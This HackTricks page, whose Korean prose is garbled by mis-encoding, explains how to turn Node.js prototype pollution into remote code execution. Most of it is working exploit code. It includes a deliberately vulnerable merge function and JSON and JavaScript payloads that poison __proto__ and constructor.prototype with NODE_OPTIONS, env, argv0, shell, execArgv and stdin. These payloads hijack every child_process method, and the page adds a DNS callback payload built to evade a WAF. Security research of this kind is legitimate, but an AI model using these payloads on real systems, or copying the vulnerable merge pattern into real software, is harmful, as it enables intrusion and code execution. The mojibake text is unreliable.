Prototype Pollution to RCE

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

์ทจ์•ฝํ•œ ์ฝ”๋“œ

Imagine a real JS using some code like the following one:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via env vars

PP2RCE๋Š” Prototype Pollution to RCE (์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰)์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ด writeup์— ๋”ฐ๋ฅด๋ฉด, **child_process**์˜ ์–ด๋–ค ๋ฉ”์„œ๋“œ(์˜ˆ: fork ๋˜๋Š” spawn ๋“ฑ)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ, ์ƒˆ๋กœ์šด env vars๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ฐ€์ ฏ์ธ normalizeSpawnArguments ๋ฉ”์„œ๋“œ๊ฐ€ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด .env ์†์„ฑ์„ ์˜ค์—ผ์‹œ์ผœ **envPairs**๋ฅผ ๋…์‚ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

__proto__ ๋…์‚ด

child_process ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ normalizeSpawnArguments ํ•จ์ˆ˜๊ฐ€ ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹ ๋•Œ๋ฌธ์—, ํ”„๋กœ์„ธ์Šค์— ์ƒˆ๋กœ์šด env ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ฌด์–ธ๊ฐ€๋ฅผ ์˜ค์—ผ์‹œํ‚ค๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, __proto__.avar="valuevar"๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ”„๋กœ์„ธ์Šค๋Š” avar๋ผ๋Š” ์ด๋ฆ„์˜ ๋ณ€์ˆ˜๋ฅผ valuevar ๊ฐ’์œผ๋กœ ๊ฐ€์ง„ ์ƒํƒœ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ env ๋ณ€์ˆ˜๊ฐ€ ์ฒซ ๋ฒˆ์งธ๊ฐ€ ๋˜๊ธฐ ์œ„ํ•ด์„œ๋Š” .env ์†์„ฑ์„ ์˜ค์—ผ์‹œ์ผœ์•ผ ํ•˜๋ฉฐ (์ผ๋ถ€ ๋ฉ”์„œ๋“œ์—์„œ๋งŒ) ๊ทธ ๋ณ€์ˆ˜๊ฐ€ ์ฒซ ๋ฒˆ์งธ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค (๊ณต๊ฒฉ์„ ํ—ˆ์šฉํ•จ).

๊ทธ๋ž˜์„œ ๋‹ค์Œ ๊ณต๊ฒฉ์—์„œ **NODE_OPTIONS**๋Š” .env ์•ˆ์— ์—†์Šต๋‹ˆ๋‹ค.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

constructor.prototype ์˜ค์—ผ

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

์ด์ „๊ณผ ์œ ์‚ฌํ•œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ด ๊ธ€์—์„œ ์ œ์•ˆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์š” ์ฐจ์ด์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • nodejs payload๋ฅผ ํŒŒ์ผ /proc/self/environ์— ์ €์žฅํ•˜๋Š” ๋Œ€์‹ , **/proc/self/cmdline**์˜ argv0์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

  • ๊ทธ๋Ÿฐ ๋‹ค์Œ, **NODE_OPTIONS**๋ฅผ ํ†ตํ•ด ํŒŒ์ผ /proc/self/environ์„ ์š”๊ตฌํ•˜๋Š” ๋Œ€์‹ , **/proc/self/cmdline**์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS ์ƒํ˜ธ์ž‘์šฉ

๋‹ค์Œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด์ „์— ๋…ผ์˜ํ•œ NODE_OPTIONS ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์•…์šฉํ•˜๊ณ  DNS ์ƒํ˜ธ์ž‘์šฉ์„ ํ†ตํ•ด ์ž‘๋™ ์—ฌ๋ถ€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

๋˜๋Š” WAF๊ฐ€ ๋„๋ฉ”์ธ์„ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE ์ทจ์•ฝ์  child_process ํ•จ์ˆ˜

์ด ์„น์…˜์—์„œ๋Š” child_process์˜ ๊ฐ ํ•จ์ˆ˜๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ๊ฐ•์ œ๋กœ ์ฝ”๋“œ ์‹คํ–‰์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ์ˆ ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:

exec ์•…์šฉ
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile ์•…์šฉ

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

**`execFile`**๊ฐ€ ์ž‘๋™ํ•˜๋ ค๋ฉด **๋ฐ˜๋“œ์‹œ node**๋ฅผ ์‹คํ–‰ํ•ด์•ผ NODE\_OPTIONS๊ฐ€ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.\
**node**๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์‹คํ–‰ ์ค‘์ธ ๊ฒƒ์„ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰์„ ๋ณ€๊ฒฝ**ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

**๋‹ค๋ฅธ** ๊ธฐ์ˆ ๋“ค์€ ์ด ์š”๊ตฌ ์‚ฌํ•ญ ์—†์ด **์ž‘๋™**ํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด **ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ**์„ ํ†ตํ•ด **์‹คํ–‰๋˜๋Š” ๊ฒƒ**์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. (์ด ๊ฒฝ์šฐ, `.shell`์„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋”๋ผ๋„, ์‹คํ–‰๋˜๋Š” ๊ฒƒ์€ ์˜ค์—ผ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค).

</details>

<details>

<summary><code>fork</code> exploitation</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn ์•…์šฉ
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync ์•…์šฉ
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync ์•…์šฉ
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync ์•…์šฉ
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

๊ฐ•์ œ ์Šคํฐ

์ด์ „ ์˜ˆ์ œ์—์„œ๋Š” **spawn**์„ ํ˜ธ์ถœํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์กด์žฌํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋ณด์•˜์Šต๋‹ˆ๋‹ค (๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” **child_process**์˜ ๋ชจ๋“  ๋ฉ”์„œ๋“œ๋Š” ์ด๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค). ์ด์ „ ์˜ˆ์ œ์—์„œ๋Š” ์ฝ”๋“œ์˜ ์ผ๋ถ€์˜€์ง€๋งŒ, ์ฝ”๋“œ๊ฐ€ ํ˜ธ์ถœํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๋Š” ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”?

require ํŒŒ์ผ ๊ฒฝ๋กœ ์ œ์–ด

์ด ๋‹ค๋ฅธ ๊ธ€์—์„œ ์‚ฌ์šฉ์ž๋Š” **require**๊ฐ€ ์‹คํ–‰๋  ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๊ณต๊ฒฉ์ž๋Š” ์‹œ์Šคํ…œ ๋‚ด์—์„œ .js ํŒŒ์ผ์„ ์ฐพ์•„์•ผ ํ•˜๋ฉฐ, ํ•ด๋‹น ํŒŒ์ผ์ด ๊ฐ€์ ธ์˜ฌ ๋•Œ spawn ๋ฉ”์„œ๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€์ ธ์˜ฌ ๋•Œ spawn ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ ํŒŒ์ผ์˜ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js